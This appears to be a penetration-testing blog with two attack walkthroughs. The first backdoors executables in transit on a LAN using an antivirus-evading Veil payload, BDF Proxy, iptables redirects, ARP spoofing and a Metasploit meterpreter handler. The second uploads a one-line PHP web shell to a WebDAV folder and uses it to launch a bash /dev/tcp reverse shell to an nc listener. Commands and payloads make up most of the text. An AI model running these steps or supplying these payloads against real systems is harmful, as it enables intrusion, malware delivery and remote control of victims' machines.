Backdooring EXEs (on the fly) over HTTP/S on the LAN

Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.

Objective: Get a shell on a host.

Required Items:

First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:


We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:

windows defender

Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:


There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.

We can now start up BDF Proxy:


We also need to add the following two iptables rules on our Kali box:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080


After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.

Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.

We will run the following command to fire up metasploit framework and our handler:

msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST; set LPORT 4444; set exitonsession false; exploit -j”


With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.

We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case = victim IP and = router IP:

arpspoof -i eth0 -t

arpspoof -i eth0 -t

Now, when our victim downloads an executable, most everything should look normal:

download of exe.PNG

However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:


And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:


It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.

PHP Backdoor + Reverse Shell on Vulnerable Website

The goal here is show one method for examining a public IP address to determine if it is running any vulnerable services that are exploitable.

Target IP: X.X.X.X (IP address purposely hidden)

First we have to do some basic discovery on our IP to determine what services are running. The nmap command used is: proxychains nmap <ip address> -v -Pn -sT -A


We can see that the target IP is listening on ports 22 (ssh) and 80 (web). For now, we’ll focus on port 80.

Next we scan the website using nikto, dirb, uniscan and w3af.  Nikto didn’t really turn up much, but dirb tells us that a folder exists called test. Uniscan also turned up some helpful info but each tool is different and useful in varying ways depending on what you’re trying to accomplish.  I recommend trying them all against your target.


Now that we have a know a bit more about our target, we can use curl to glean more useful information about the “test” folder:

proxychains curl -X OPTIONS -v http://X.X.X.X/test/


Based on the response of the OPTIONS verb on the /test directory, it looks like it has WebDAV enabled. Using “PUT” we may be able to upload a backdoor to this folder.

First, we need to create a new file on our box and add the following line:

<?php echo system($_GET[“cmd”]); ?>

Next, we attempt to upload our php backdoor to our target using the following command:

proxychains curl –upload-file /root/Desktop/cmd.php -v –url http://X.X.X.X/test/cmd.php -0 –http1.0


We can see that our backdoor was successfully uploaded.  Now, we can use our backdoor to (hopefully) run commands directly on the webserver.  For example, running the following command from a web browser will give us a directory listing:


Capture4Using curl, we could also upload a bash shell script and then use our backdoor to give us a reverse shell on the webserver. The script file contains the following code:

exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done

Now we upload it:


Now on our public facing box, and before we can receive our shell, we need to setup a listener on port 443 using the following command:

nc -lvp 443


Then, at the website, we can now run our script via our backdoor:


We should now have our reverse bash shell, as seen below: